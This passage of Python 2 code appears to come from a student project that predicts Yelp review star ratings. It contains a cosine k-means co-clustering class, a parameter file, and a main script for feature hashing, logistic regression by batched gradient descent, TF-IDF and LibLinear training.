col col_arr.append(col) val_arr.append(int(x.split(':')[1])) row_arr.append(count) count += 1 return csr((val_arr, (row_arr, col_arr)), shape=(count, max_col+1)).tocsc() def get_k_centers(self, n, k): ''' Returns k random numbers in range(n) ''' return random.sample(range(0, n), k) def recompute_row_centers(self, mat, mapping, rowK): ''' Returns new row vectors as centers based on mean of current mapping Parameters: mat: the matrix from which the vectors for taking the mean for each center need to be derived mapping: mapping of row (doc) number to cluster number rowK: number of clusters on the rows (docs) ''' mat = mat.toarray() value_map = {} count_map = {} i=0 for key in mapping: if key in value_map: value_map[key] += mat[i,:] count_map[key] += 1. else: value_map[key] = mat[i,:] count_map[key] = 1. i += 1 vector = [0 for i in range(0, mat.shape[1])] new_centers = [] for key in range(rowK): if key in value_map: new_centers.append(value_map[key]/count_map[key]) else: new_centers.append(vector) new_centers = np.array(new_centers) factor = np.sqrt(new_centers.__mul__(new_centers).sum(1)) for i in np.where(factor == 0)[0]: factor[i] = 1. return (new_centers.transpose().__mul__(1/factor)).transpose() def k_means_row(self, mat, rowK): ''' Params: mat: n x m matrix (or n x k1 matrix) rowK: number of clusters for the rows (docs) ''' sum_row = np.sqrt(mat.multiply(mat).sum(1)) sum_row += 0.00000001 #TODO:new norm_row_mat = mat.toarray().__mul__(1/sum_row) print 'row',norm_row_mat.shape indices = self.get_k_centers(mat.shape[0], rowK) centers = norm_row_mat[indices, :] #run loop old_mapping = np.array([0 for i in range(mat.shape[0])]) error = 0 while True: k1_cross_m_mat = norm_row_mat.dot(centers.transpose()) mapping = np.argmax(k1_cross_m_mat, axis=1).tolist() mapping = list(itertools.chain(*mapping)) cosine_sum = k1_cross_m_mat.max(1).sum() if np.array_equal(mapping, old_mapping):# or new_error == error: return mapping, cosine_sum old_mapping = mapping centers = self.recompute_row_centers(mat, mapping, rowK) def k_means_col(self, mat, colK): ''' Performs k means on columns Params: mat: matrix colK: number of clusters ''' sum_col = np.sqrt(mat.multiply(mat).sum(0)) sum_col += 0.00000001 #TODO:new norm_col_mat = mat.toarray().__mul__(1/sum_col) print 'col',norm_col_mat.shape indices = self.get_k_centers(mat.shape[1], colK) centers = norm_col_mat[:, indices] #run loop old_mapping = np.array([0 for i in range(mat.shape[1])]) error = 0 while True: n_cross_k2_mat = centers.transpose().dot(norm_col_mat) mapping = np.argmax(n_cross_k2_mat, axis=0).tolist()[0] cosine_sum = n_cross_k2_mat.max(0).sum() if np.array_equal(mapping, old_mapping):# or new_error == error: return mapping, cosine_sum old_mapping = mapping centers = self.recompute_col_centers(mat, mapping, colK) def recompute_col_centers(self, mat, mapping, colK): ''' Returns new column vectors as centers based on mean of current mapping Parameters: mat: the matrix from which the vectors for taking the mean for each center need to be derived mapping: mapping of column (word) number to cluster number colK: number of clusters on the columns (words) ''' mat = mat.toarray().transpose() value_map = {} count_map = {} i=0 for key in mapping: if key in value_map: value_map[key] += mat[i,:] count_map[key] += 1. else: value_map[key] = mat[i,:] count_map[key] = 1. i += 1 vector = [0 for i in range(0, mat.shape[1])] new_centers = [] for key in range(colK): if key in value_map: new_centers.append(value_map[key]/count_map[key]) else: new_centers.append(vector) #normalize new_centers = np.array(new_centers).transpose() factor = np.sqrt(new_centers.__mul__(new_centers).sum(0)) for i in np.where(factor == 0)[0]: factor[i] = 1. return new_centers.__mul__(1/factor) def row_agg(self, mat, mapping, rowK): ''' Aggregates the row (document) vectors Params: mat: original matrix mapping: the row mapping (to cluster centroids) rowK: number of document clusters ''' agg_mat = np.zeros(shape=(rowK, mat.shape[1])) i = 0 for key in mapping: agg_mat[key].__iadd__(mat[i,:]) i += 1 return csr(agg_mat) def col_agg(self, mat, mapping, colK): ''' Aggregates the column (words) vectors Params: mat: original matrix mapping: the column mapping (to cluster centroids) rowK: number of word clusters ''' agg_mat = np.zeros(shape=(colK, mat.shape[1])) i = 0 for key in mapping: agg_mat[key] += mat[i,:] i += 1 return csc(agg_mat.transpose()) def normalize_rows(self, mat, mapping): ''' Normalizes the row clusters Parameters: mat: matrix mapping: mapping of row to cluster ''' cluster_sum = [0] * mat.shape[0] for key in mapping: cluster_sum[key] += 1. for row_no in range(mat.shape[0]): if cluster_sum[row_no] == 0: cluster_sum[row_no] = 1. cluster_sum = np.array(cluster_sum) return csr((mat.T.toarray().__mul__(1/cluster_sum)).T) def normalize_cols(self, mat, mapping): ''' Normalizes the column clusters Parameters: mat: matrix mapping: mapping of column to cluster ''' cluster_sum = [0] * mat.shape[1] for key in mapping: cluster_sum[key] += 1. for col_no in range(mat.shape[1]): if cluster_sum[col_no] == 0: cluster_sum[col_no] = 1. cluster_sum = np.array(cluster_sum) return csr(mat.toarray().__mul__(1/cluster_sum)) <file_sep>#liblinear path liblinear_train = './liblinear-2.1/train' liblinear_predict = './liblinear-2.1/predict' #input data train_file = 'resources/yelp_reviews_train.json' dev_file = 'resources/yelp_reviews_dev.json' test_file = 'resources/yelp_reviews_test.json' stopword_file = 'resources/stopword.list' #parameters total_features = 10000 #for hashing num_features = 1000 alpha = 0.15 batch_size = 500 lambda_var = 0.008 #lambda cv_percentage = 3 #percentage of the dataset to be used for cross validation do_feat_engg = False #weather feature engineering should be performed do_ll = False #whether liblinear should be called for SVM #processed files #logistic regression train_parsed_file = 'resources_parsed/yelp_reviews_train.json' dev_parsed_file = 'resources_parsed/yelp_reviews_dev.json' test_parsed_file = 'resources_parsed/yelp_reviews_test.json' ## unhashed_dict_file = 'resources_parsed/unhashed_dict.txt' #top 1000 terms hashed_dict_file = 'resources_parsed/hashed_dict.txt' #top 10000 hashed terms sorted_dict_file = 'resources_parsed/sorted_dict_file.txt' #top 10000 terms with counts -- not used stars_file = 'resources_parsed/stars_file.txt' #ratings file ## train_unhashed_csr_file = 'resources_parsed/train_csr_unhashed_file' train_hashed_csr_file = 'resources_parsed/train_csr_hashed_file' dev_unhashed_csr_file = 'resources_parsed/dev_csr_unhashed_file' dev_hashed_csr_file = 'resources_parsed/dev_csr_hashed_file' test_unhashed_csr_file = 'resources_parsed/test_csr_unhashed_file' test_hashed_csr_file = 'resources_parsed/test_csr_hashed_file' #feature engineering train_unhashed_feateng_csr_file = 'resources_parsed/train_csr_feateng_unhashed_file' dev_unhashed_feateng_csr_file = 'resources_parsed/dev_csr_feateng_unhashed_file' test_unhashed_feateng_csr_file = 'resources_parsed/test_csr_feateng_unhashed_file' #liblinear ll_train_unhashed_file = 'resources_parsed/ll_train_unhashed_file.txt' #liblinear input format (label <feature1>:<value1> ...) ll_train_hashed_file = 'resources_parsed/ll_train_hashed_file.txt' #liblinear input format (label <feature1>:<value1> ...) ll_dev_unhashed_file = 'resources_parsed/ll_dev_unhashed_file.txt' #liblinear input format (label <feature1>:<value1> ...) for unhashed dev ll_dev_hashed_file = 'resources_parsed/ll_dev_hashed_file.txt' #liblinear input format (label <feature1>:<value1> ...) for hashed dev ll_test_unhashed_file = 'resources_parsed/ll_test_unhashed_file.txt' #liblinear input format (label <feature1>:<value1> ...) for unhashed test ll_test_hashed_file = 'resources_parsed/ll_test_hashed_file.txt' #liblinear input format (label <feature1>:<value1> ...) for hashed test #output files #log regression w_final_unhashed_file = 'output/w_final_unhashed_file' w_final_hashed_file = 'output/w_final_hashed_file' dev_pred_unhashed_file = 'output/dev_pred_unhashed_file.txt' dev_pred_hashed_file = 'output/dev_pred_hashed_file.txt' dev_pred_feateng_unhashed_file = 'output/dev_pred_feateng_unhashed_file.txt' test_pred_unhashed_file = 'output/test_pred_unhashed_file.txt' test_pred_hashed_file = 'output/test_pred_hashed_file.txt' test_pred_feateng_unhashed_file = 'output/test_pred_feateng_unhashed_file.txt' #liblinear ll_unhashed_model = 'output/ll_unhashed_model.model' ll_hashed_model = 'output/ll_hashed_model.model' ll_unhashed_train_output = 'output/ll_unhashed_dev_output.txt' ll_hashed_train_output = 'output/ll_hashed_dev_output.txt' ll_unhashed_dev_output = 'output/ll_unhashed_dev_output.txt' ll_hashed_dev_output = 'output/ll_hashed_dev_output.txt' ll_unhashed_test_output = 'output/ll_unhashed_test_output.txt' ll_hashed_test_output = 'output/ll_hashed_test_output.txt' <file_sep>#!/usr/bin/python import params import os import math import random import sys import scipy import json import string import operator import numpy as np import re import time import ast from collections import Counter import ujson import subprocess from scipy.sparse import csr_matrix as csr from scipy.sparse import csc_matrix as csc from scipy.sparse import lil_matrix as lil from scipy.sparse import vstack from scipy.sparse import hstack class RatingPrediction(object): def parse_file(self, file_name, stopword_file, unhashed_dict_file, hashed_dict_file, stars_file, unhashed_csr_file, hashed_csr_file, sorted_dict_file, num_features, total_features, input_type): ''' Extracts text and other relevant fields from input file Parameters: file_name: file containing the data stopword_file: file containing stopwords unhashed_dict_file: file to store the training dictionary in hashed_dict_file: file to store the hashed training dictionary in stars_file: file containing y values unhashed_csr_file: output file for compressed features matrix hashed_csr_file: output file for compressed features matrix in the hashed space sorted_dict_file: stores top n (total_features) terms with counts in file -- NOT USED in this implementation num_features: number of features to be extracted from input text (only for training data) total_features: number of features to be hashed input_type: 'train', 'dev', 'test' ''' self.input_dict = {} #hold count of all tokens in all examples #self.input_dict = Counter() #hold count of all tokens in all examples #for the corpus stats question: #self.stars_map = {1:0, 2:0, 3:0, 4:0, 5:0} #stopwords stopwords = [] f = open(stopword_file, 'r') for word in iter(lambda: f.readline().rstrip(), ''): stopwords.append(word) f.close() stopwords.sort() f = open(file_name, 'r') feature_list = [] stars_list = [] count = 0 for line in iter(lambda: f.readline().rstrip(), ''): count += 1 if count%5000==0: print count line_dict = ujson.loads(line) text = self.preprocess_text(line_dict, stopwords) feature_list.append(text) try: #if stars field is present stars = int(line_dict['stars']) stars_list.append(stars) #self.stars_map[stars] = self.stars_map[stars] + 1 except KeyError: pass #sort input_dict by value to get most frquent tokens sorted_dict = sorted(self.input_dict.items(), key=operator.itemgetter(1), reverse=True) # w = open(sorted_dict_file, 'w') # w.write(str(sorted_dict[:total_features])) # w.close() #print self.stars_map f.close() #if the type is training then generate the final dictionary if input_type=='train': unhashed_features, hashed_features = self.generate_features(sorted_dict, num_features, total_features) w = open(unhashed_dict_file, 'w') w.write(str(unhashed_features)) w.close() w = open(hashed_dict_file, 'w') w.write(str(hashed_features)) w.close() else: w = open(unhashed_dict_file, 'r') unhashed_features = ast.literal_eval(w.read()) w.close() w = open(hashed_dict_file, 'r') hashed_features = ast.literal_eval(w.read()) w.close() if len(stars_list)>0: f_stars = open(stars_file, 'w') f_stars.write(str(stars_list)) f_stars.close() self.input_to_features(feature_list, unhashed_features, hashed_features, unhashed_csr_file, hashed_csr_file, num_features) def generate_features(self, sorted_dict, num_features, total_features): ''' Generates the final feature-set (dict) based on the top n terms in the dictionary from the training data Parameters: sorted_dict: sorted dictionary num_features: number of unhashed (or reduced hashed) features total_features: number of hashed features ''' count=0 unhashed_features = {} hashed_features = {} bad_chars = "( )'" for item in sorted_dict: if count==num_features: break unhashed_features[item[0]] = count count += 1 count = 0 for item in sorted_dict: if count==total_features: break hashed_features[item[0]] = hash(item[0])%1000 count += 1 return unhashed_features, hashed_features def preprocess_text(self, line_dict, stopwords): ''' Collects corpus statistics for a line of input (parsed already using json.loads) Parameters: line_dict: line in form of dictionary stopwords: list of stopwords ''' text = line_dict['text'].encode('ascii', 'ignore') #convert from unicode to ascii text_arr = (text.translate(None, string.punctuation)).lower().split() #text_arr = re.split('\s+', text.translate(None, string.punctuation).lower()) text_tokens = [] for token in text_arr: if bool(re.search(r'\d', token)) or token in stopwords: #contains number, so ignore continue if token in self.input_dict: self.input_dict[token] = self.input_dict[token] + 1 else: self.input_dict[token] = 1 text_tokens.append(token) return text_tokens ''' def preprocess_text2(self, line_dict, stopwords): '' Collects corpus statistics for a line of input (parsed already using json.loads) Parameters: line_dict: line in form of dictionary stopwords: list of stopwords '' text = line_dict['text'].encode('ascii', 'ignore') #convert from unicode to ascii text_arr = (text.translate(None, string.punctuation)).lower().split() text_arr = filter(lambda token: not (bool(re.search(r'\d', token)) or token in stopwords), text_arr) local_dict = self.input_dict.update(Counter(text_arr)) return text_arr ''' def input_to_features(self, feature_list, unhashed_features, hashed_features, unhashed_csr_file, hashed_csr_file, num_features): ''' Converts the parsed input file to features and returns a scipy csr matrix Parameters: feature_list: list of features in order of input unhashed_features: top n features hashed_features: top m features (hashed) unhashed_csr_file: file where csr matrix is to be stored (unhashed) hashed_csr_file: file where csr matrix is to be stored (hashed) num_features: number of features ''' row_arr = [] col_arr_unhashed = [] col_arr_hashed = [] data_arr = [] row = 0 for text_arr in feature_list: #add 1 corresponding to x_0 and w_0 row_arr.append(row) col_arr_unhashed.append(0) col_arr_hashed.append(0) data_arr.append(1) for term in text_arr: term = term.encode('ascii', 'ignore') try: col_unhashed = unhashed_features[term] col_hashed = hashed_features[term] row_arr.append(row) col_arr_unhashed.append(col_unhashed+1) col_arr_hashed.append(col_hashed+1) data_arr.append(1) except KeyError: pass row += 1 if row%5000==0: print row mat = csr((data_arr, (row_arr, col_arr_unhashed)), shape=(row, num_features+1)) self.save_sparse_csr(unhashed_csr_file, mat) mat = csr((data_arr, (row_arr, col_arr_hashed)), shape=(row, num_features+1)) self.save_sparse_csr(hashed_csr_file, mat) def batched_gradient_descent(self, feature_file, y_file, w_final_file, num_features, alpha, batch_size, lambda_var, cv_percentage): ''' Batched gradient descent function Parameters: feature_file: file containing features in sparse scipy format y_file: file containing ratings in same order as feature_file w_final_file: file storing final w as csr matrix num_features: number of features alpha: value of alpha for gradient descent batch_size: size of each batch lambda_var: value of lambda cv_percentage: percentage of dataset to be used for cross validation ''' x_mat = obj.load_sparse_csr(feature_file) #feature matrix x_mat = csr(x_mat[:,1:]) #removing the first (all 1) feature min_rating = 1000 max_rating = 0 y_arr = [] #y values corr to feature matrix f = open(y_file, 'r') stars_list = ast.literal_eval(f.read()) for rating in stars_list: if rating>max_rating: max_rating = rating if rating<min_rating: min_rating = rating y_arr.append(rating) f.close() y_mat = np.zeros((max_rating-min_rating+1, len(y_arr))) #5 x num_input_examples #y_mat = csr((y_arr,(row_arr, col_arr)), shape=(1, len(col_arr))) col = 0 for rating in y_arr: y_mat[rating-1][col] = 1 col += 1 #init max_rating-min_rating+1 number of feature vectors; init with all weights as 1/n num_vectors = max_rating-min_rating+1 #w_mat = csr(np.random.rand(num_vectors, num_features)) w_mat = np.zeros(shape = (num_vectors, num_features)) w_mat[:] = 1./num_features w_mat = csr(w_mat) #parameters m = batch_size #batch size total_x = len(y_arr) #determine cross validation dataset cv_size = int((cv_percentage*0.01*total_x)%m) * m max_start = int(total_x/m) * m - m - cv_size cv_start = 0 while True: rand_start = random.randint(0, max_start) cv_start = int(rand_start/m) * m if cv_start <= max_start: break #iterate i = 0 j = 0 old_hard_accuracy = 0. old_soft_accuracy = 0. iter_no = 1 #gold_y = y_arr[cv_start:(cv_start+cv_size)] #x_crossval = x_mat[cv_start:(cv_start+cv_size),:] temp_alpha = alpha while True: if i==cv_start: i = cv_start + cv_size if i>=total_x: #check stopping condition: cross validation error #NOTE: soft_accuracy = rmse gold_y = y_arr[cv_start:(cv_start+cv_size)] x_crossval = x_mat[cv_start:(cv_start+cv_size),:] hard_pred, soft_pred = self.predict_class(False, None, None, None, x_crossval, w_mat) hard_accuracy, soft_accuracy = self.compute_cv_error(hard_pred, soft_pred, gold_y) print hard_accuracy, soft_accuracy if math.fabs(hard_accuracy-old_hard_accuracy)<0.01 and iter_no>10: print 'FINAL TRAINING ACCURACY:' hard_pred, soft_pred = self.predict_class(False, None, None, None, x_mat, w_mat) hard_accuracy, rmse = self.compute_cv_error(hard_pred, soft_pred, y_arr) print hard_accuracy, rmse print '--------------------------' break ''' w_sq = ((w_mat-w_mat_prev).toarray())**2 print np.sqrt(np.sum(w_sq)) if np.sqrt(np.sum(w_sq)) < 0.01: break ''' i = 0 old_hard_accuracy = hard_accuracy old_soft_accuracy = soft_accuracy #get a new set of examples to be used for cross validation: random cross-validation cv_start = 0 while True: rand_start = random.randint(0, max_start) cv_start = int(rand_start/m) * m if cv_start <= max_start: break iter_no += 1 #alpha /= (iter_no**2) alpha /= (2**iter_no) #alpha = temp_alpha / (iter_no**2) #alpha *= 0.8 continue j = min(i+m-1, total_x-1) #total m examples in a batch x_batch_mat = csr(x_mat[i:j+1,:]) #m x num_features w_dot_x = w_mat.dot(x_batch_mat.transpose()).transpose() #m x 5 w_dot_x_arr = w_dot_x.toarray() w_dot_x_arr[w_dot_x_arr>20] = 20 w_dot_x_arr[w_dot_x_arr<-20] = -20 w_dot_x = csr(w_dot_x_arr) w_dot_x_exp = csr(np.exp(w_dot_x.toarray())) #m x 5 w_dot_x_sum = w_dot_x_exp.sum(axis=1) #row sum (m x 1) x_div_mat = csr(w_dot_x_exp.toarray()/w_dot_x_sum) #m x 5 y_batch_mat = csr(y_mat[:,i:j+1].transpose()) #m x 5 sub_mat = csr(y_batch_mat.toarray() - x_div_mat.toarray()) #m x 5 sum_by_m_mat = csr(sub_mat.transpose().dot(x_batch_mat)/m) #5 x num_features w_mat_prev = w_mat w_mat = w_mat + alpha * (sum_by_m_mat - lambda_var * w_mat) i = j + 1 self.save_sparse_csr(w_final_file, w_mat) def predict_class(self, from_file, w_file, test_file, pred_file, x_crossval, w_crossval): ''' Predicts the classes for the dev or test set Parameters: from_file: boolean value to check if data is to be read from file w_file: file containing the w learned from the training data for each class test_file: file containing the dev or test data (in csr) pred_file: prediction output file x_crossval: the testing can be done on a small cross validation set (test_file should be None) w_crossval: weights for cross validation ''' if from_file: x = self.load_sparse_csr(test_file) #157010 x 1001 x = csr(x[:,1:]) #removing the first (all 1) feature w = self.load_sparse_csr(w_file) #5 x 1001, and without the first feature, 5 x 1000 else: x = x_crossval w = w_crossval w_dot_x = x.dot(w.transpose()) #157010 x 5 hard_pred = w_dot_x.toarray().argmax(axis=1) + 1 w_dot_x_arr = w_dot_x.toarray() w_dot_x_arr[w_dot_x_arr>20] = 20 w_dot_x_arr[w_dot_x_arr<-20] = -20 w_dot_x = csr(w_dot_x_arr) w_dot_x_exp = csr(np.exp(w_dot_x.toarray())) #157010 x 5 w_dot_x_sum = w_dot_x_exp.sum(axis=1) #row sum (157010 x 1) x_div_mat = csr(w_dot_x_exp.toarray()/w_dot_x_sum) #157010 x 5 num_vectors = 5 rating_arr = np.array([1,2,3,4,5]).transpose() soft_pred = x_div_mat.toarray().dot(rating_arr) if from_file: w = open(pred_file, 'w') for index in range(len(hard_pred)): w.write(str(hard_pred[index])) w.write(' ') w.write(str(soft_pred[index])) w.write('\n') w.close return hard_pred, soft_pred def compute_cv_error(self, hard_pred, soft_pred, gold_y): ''' Returns the accuracy (hard) and RMSE (soft) of the cross validation classification Parameters: hard_pred: hard predictions for the left out set soft_pred: soft predictions for the left out set gold_y: gold standard labels ''' correct = 0. sq_sum = 0. for i in range(len(gold_y)): if hard_pred[i] == gold_y[i]: correct += 1 sq_sum += (soft_pred[i]-gold_y[i])**2 hard_accuracy = correct / len(gold_y) soft_accuracy = math.sqrt(sq_sum/len(gold_y)) return hard_accuracy, soft_accuracy def create_feat_eng_data(self, train_file, dev_file, test_file, train_out_file, dev_out_file, test_out_file): ''' Feature engineered data creation using TF-IDF train_file: file containing (training) input features dev_file: file containing (dev) input features test_file: file containing (test) input features train_out_file: output file for engineered (training) features dev_out_file: output file for engineered (dev) features test_out_file: output file for engineered (test) features ''' #create training features #x_mat = self.load_sparse_csr(feature_file).transpose().todense() #feature matrix #x_mat = self.load_sparse_csr(train_file).transpose().toarray() #feature matrix x_mat = self.load_sparse_csr(train_file).tocsc() #feature matrix x_mat = x_mat[:,1:] #removing the first (all 1) feature #dict_terms = ast.literal_eval(open(dict_file, 'r').read()) N = x_mat.shape[0] idf_arr = [math.log((N*1.0)/max(1., x_mat[:,i].nnz)) for i in range(x_mat.shape[1])] idf = np.asarray(idf_arr) x_mat = x_mat.tocsr() for i in range(0, N, 50000): j = min(i + 50000, N) x_mat_temp = csr(x_mat[i:j,:].multiply(idf)) if i==0: x_mat_new = x_mat_temp else: x_mat_new = vstack([x_mat_new, x_mat_temp]) print i all1_row = csr(np.asarray([1] * x_mat.shape[0])).transpose() x_mat_new = hstack([all1_row, x_mat_new]) self.save_sparse_csr(train_out_file, csr(x_mat_new)) #create dev features if dev_file != None: x_mat = self.load_sparse_csr(dev_file).transpose().toarray() #feature matrix x_mat = x_mat[1:,:] #removing the first (all 1) feature x_mat = np.multiply(x_mat.transpose(), idf) all1_row = np.asarray([1] * x_mat.shape[0]).transpose() self.save_sparse_csr(dev_out_file, csr(np.column_stack((all1_row, x_mat)))) #create test features if test_file != None: x_mat = self.load_sparse_csr(test_file).transpose().toarray() #feature matrix x_mat = x_mat[1:,:] #removing the first (all 1) feature x_mat = np.multiply(x_mat.transpose(), idf) all1_row = np.asarray([1] * x_mat.shape[0]).transpose() self.save_sparse_csr(test_out_file, csr(np.column_stack((all1_row, x_mat)))) def main_liblinear(self, train_unhashed_feature_file, train_hashed_feature_file, stars_file, num_features, \ ll_train_unhashed_file, ll_train_hashed_file, dev_unhashed_feature_file, dev_hashed_feature_file, \ ll_dev_unhashed_file, ll_dev_hashed_file, ll_train, ll_unhashed_model, ll_hashed_model, ll_predict, \ ll_unhashed_train_output, ll_hashed_train_output, ll_unhashed_dev_output, ll_hashed_dev_output): ''' Main function for LibLinear: does the input format conversion, training, prediction, and output in the correct format Parameters: train_unhashed_feature_file: original unhashed feature file train_hashed_feature_file: original hashed feature file stars_file: ratings file num_features: total number of features ll_train_unhashed_file: file for storing (unhashed) training data in liblinear format ll_train_hashed_file: file for storing (hashed) training data in liblinear format dev_unhashed_feature_file: original unhashed feature file (dev) dev_hashed_feature_file: original hashed feature file (dev) ll_dev_unhashed_file: file for storing (unhashed) dev data in liblinear format ll_dev_hashed_file: file for storing (hashed) dev data in liblinear format ll_train: liblinear training script ll_unhashed_model: liblinear model for unhashed training set ll_hashed_model: liblinear model for hashed training set ll_predict: liblinear prediction script ll_unhashed_train_output: liblinear output (prediction both soft and hard) for unhashed train set ll_hashed_train_output: liblinear output (prediction both soft and hard) for hashed train set ll_unhashed_dev_output: liblinear output (prediction both soft and hard) for unhashed dev set ll_hashed_dev_output: liblinear output (prediction both soft and hard) for hashed dev set ''' #generate hashed and unhashed version of training data print 'Creating Liblinear train datasets (for hashed and unhashed features)' self.create_liblinear_data(train_unhashed_feature_file, stars_file, ll_train_unhashed_file) if train_hashed_feature_file != None: self.create_liblinear_data(train_hashed_feature_file, stars_file, ll_train_hashed_file) # #generate hashed and unhashed version of dev data print 'Creating Liblinear dev datasets (for hashed and unhashed features)' self.create_liblinear_data(dev_unhashed_feature_file, None, ll_dev_unhashed_file) if dev_hashed_feature_file != None: self.create_liblinear_data(dev_hashed_feature_file, None, ll_dev_hashed_file) #train the models print 'Creating Liblinear hashed and unhashed model' subprocess.check_call([ll_train, '-s', '2', '-c', '2', '-e', '0.01', ll_train_unhashed_file, ll_unhashed_model]) if ll_train_hashed_file != None: subprocess.check_call([ll_train, '-s', '2', '-c', '2', '-e', '0.01', ll_train_hashed_file, ll_hashed_model]) #print training accuracy print 'Predicting for hashed and unhashed train data' subprocess.check_call([ll_predict, ll_train_unhashed_file, ll_unhashed_model, ll_unhashed_train_output]) if ll_dev_hashed_file != None: subprocess.check_call([ll_predict, ll_train_hashed_file, ll_hashed_model, ll_hashed_train_output]) #predict the models print 'Predicting for hashed and unhashed dev data' subprocess.check_call([ll_predict, ll_dev_unhashed_file, ll_unhashed_model, ll_unhashed_dev_output]) if ll_dev_hashed_file != None: subprocess.check_call([ll_predict, ll_dev_hashed_file, ll_hashed_model, ll_hashed_dev_output]) #rewrite output files in correct format print 'Writing out Liblinear predictions' self.rewrite_ll_output(ll_unhashed_dev_output) if ll_hashed_dev_output != None: self.rewrite_ll_output(ll_hashed_dev_output) def create_liblinear_data(self, feature_file, y_file, out_file): ''' Converts feature input file and labels into liblinear format Parameters: feature_file: feature file (input features) y_file: ratings file out_file: output file ''' #x_mat = obj.load_sparse_csr(feature_file).toarray() #feature matrix x_mat = obj.load_sparse_csr(feature_file) #feature matrix x_mat = x_mat[:,1:] #removing the first (all 1) feature if y_file != None: y_arr = map(str, ast.literal_eval(open(y_file, 'r').read())) else: #for dev and test set, we create all 1 labels as dummy labels y_arr = ['1'] * x_mat.shape[0] w = open(out_file, 'w') for row in range(x_mat.shape[0]): col_arr = np.nonzero(x_mat[row])[1] row_arr = x_mat[row].toarray()[0] data_arr = row_arr[col_arr] col_arr = col_arr+1 joined_str = ' '.join('%s:%s' % t for t in zip(col_arr, data_arr)) out_str = ' '.join([y_arr[row], joined_str, '\n']) w.write(out_str) if row%5000==0: print row w.close() def rewrite_ll_output(self, file_name): ''' LibLinear output is rewritten in correct format (with soft prediction repeated per line as hard prediction) ''' w = open(file_name, 'r') str_arr = w.read().split('\n') w.close() w = open(file_name, 'w') for string in str_arr: if string == '': break w.write(string) w.write(' ') w.write(string) w.write('\n') w.close() def save_sparse_csr(self, filename, array): ''' Saves a sparse matrix ''' np.savez(filename,data = array.data ,indices=array.indices, indptr=array.indptr, shape=array.shape ) def load_sparse_csr(self, filename): ''' Loads a sparse matrix ''' loader = np.load(filename) return csr((loader['data'], loader['indices'], loader['indptr']), shape=loader['shape']) if __name__=='__main__': if len(sys.argv)!=1: print("Format: python main.py") sys.exit(0) #input files train_file = params.train_file dev_file = params.dev_file test_file = params.test_file stopword_file = params.stopword_file #parsed files train_parsed_file = params.train_parsed_file dev_parsed_file = params.dev_parsed_file test_parsed_file = params.test_parsed_file unhashed_dict_file = params.unhashed_dict_file hashed_dict_file = params.hashed_dict_file sorted_dict_file = params.sorted_dict_file stars_file = params.stars_file #feature files train_unhashed_csr_file = params.train_unhashed_csr_file train_hashed_csr_file = params.train_hashed_csr_file dev_unhashed_csr_file = params.dev_unhashed_csr_file dev_hashed_csr_file = params.dev_hashed_csr_file test_unhashed_csr_file = params.test_unhashed_csr_file test_hashed_csr_file = params.test_hashed_csr_file #model and pred files w_final_unhashed_file = params.w_final_unhashed_file w_final_hashed_file = params.w_final_hashed_file dev_pred_unhashed_file = params.dev_pred_unhashed_file dev_pred_hashed_file = params.dev_pred_hashed_file dev_pred_feateng_unhashed_file = params.dev_pred_feateng_unhashed_file test_pred_unhashed_file = params.test_pred_unhashed_file test_pred_hashed_file = params.test_pred_hashed_file test_pred_feateng_unhashed_file = params.test_pred_feateng_unhashed_file #feature engineering files train_unhashed_feateng_csr_file = params.train_unhashed_feateng_csr_file dev_unhashed_feateng_csr_file = params.dev_unhashed_feateng_csr_file test_unhashed_feateng_csr_file = params.test_unhashed_feateng_csr_file #liblinear files ll_train_unhashed_file = params.ll_train_unhashed_file ll_train_hashed_file = params.ll_train_hashed_file ll_dev_unhashed_file = params.ll_dev_unhashed_file ll_dev_hashed_file = params.ll_dev_hashed_file ll_test_unhashed_file = params.ll_test_unhashed_file ll_test_hashed_file = params.ll_test_hashed_file ll_unhashed_model = params.ll_unhashed_model ll_hashed_model = params.ll_hashed_model #parameters total_features = params.total_features num_features = params.num_features alpha = params.alpha batch_size = params.batch_size lambda_var = params.lambda_var cv_percentage = params.cv_percentage #deg_factor = params.deg_factor #liblinear commands: ll_train = params.liblinear_train ll_predict = params.liblinear_predict ll_unhashed_train_output = params.ll_unhashed_train_output ll_hashed_train_output = params.ll_hashed_train_output ll_unhashed_dev_output = params.ll_unhashed_dev_output ll_hashed_dev_output = params.ll_hashed_dev_output ll_unhashed_test_output = params.ll_unhashed_test_output ll_hashed_test_output = params.ll_hashed_test_output #constant file names train_unhashed_feature_file = train_unhashed_csr_file+'.npz' train_hashed_feature_file = train_hashed_csr_file+'.npz' dev_unhashed_feature_file = dev_unhashed_csr_file+'.npz' dev_hashed_feature_file = dev_hashed_csr_file+'.npz' test_unhashed_feature_file = test_unhashed_csr_file+'.npz' test_hashed_feature_file = test_hashed_csr_file+'.npz' w_final_unhashed_file_load = w_final_unhashed_file+'.npz' w_final_hashed_file_load = w_final_hashed_file+'.npz' train_unhashed_feateng_feature_file = train_unhashed_feateng_csr_file+'.npz' dev_unhashed_feateng_feature_file = dev_unhashed_feateng_csr_file+'.npz' test_unhashed_feateng_feature_file = test_unhashed_feateng_csr_file+'.npz' #objects and file input obj = RatingPrediction() #LOGISTIC REGRESSION #preprocess the train file -- to be done only once print 'Creating parsed input file: printing number of rows processed' obj.parse_file(train_file, stopword_file, unhashed_dict_file, hashed_dict_file, stars_file, train_unhashed_csr_file, train_hashed_csr_file, sorted_dict_file, num_features, total_features, 'train') #preprocess the dev file -- again, to be done only once print 'Creating parsed dev file: printing number of rows processed' obj.parse_file(dev_file, stopword_file, unhashed_dict_file, hashed_dict_file, stars_file, dev_unhashed_csr_file, dev_hashed_csr_file, sorted_dict_file, num_features, total_features, 'dev') #preprocess the test file -- again, to be done only once # print 'Creating parsed test file: printing number of rows processed' # obj.parse_file(test_file, stopword_file, unhashed_dict_file, hashed_dict_file, stars_file, test_unhashed_csr_file, test_hashed_csr_file, sorted_dict_file, num_features, total_features, 'test') #batched gradient descent for unhashed (original) features print 'Gradient descent on unhashed features. Printing hard cross-validation accuracies and rmse' obj.batched_gradient_descent(train_unhashed_feature_file, stars_file, w_final_unhashed_file, num_features, alpha, batch_size, lambda_var, cv_percentage) print 'Gradient descent on hashed features. Printing hard cross-validation accuracies and rmse' obj.batched_gradient_descent(train_hashed_feature_file, stars_file, w_final_hashed_file, num_features, alpha, batch_size, lambda_var, cv_percentage) #predict for dev set print 'Predicting dev set (unhashed)' obj.predict_class(True, w_final_unhashed_file_load, dev_unhashed_feature_file, dev_pred_unhashed_file, None, None) print 'Predicting dev set (hashed)' obj.predict_class(True, w_final_hashed_file_load, dev_hashed_feature_file, dev_pred_hashed_file, None, None) #predict for test set # obj.predict_class(True, 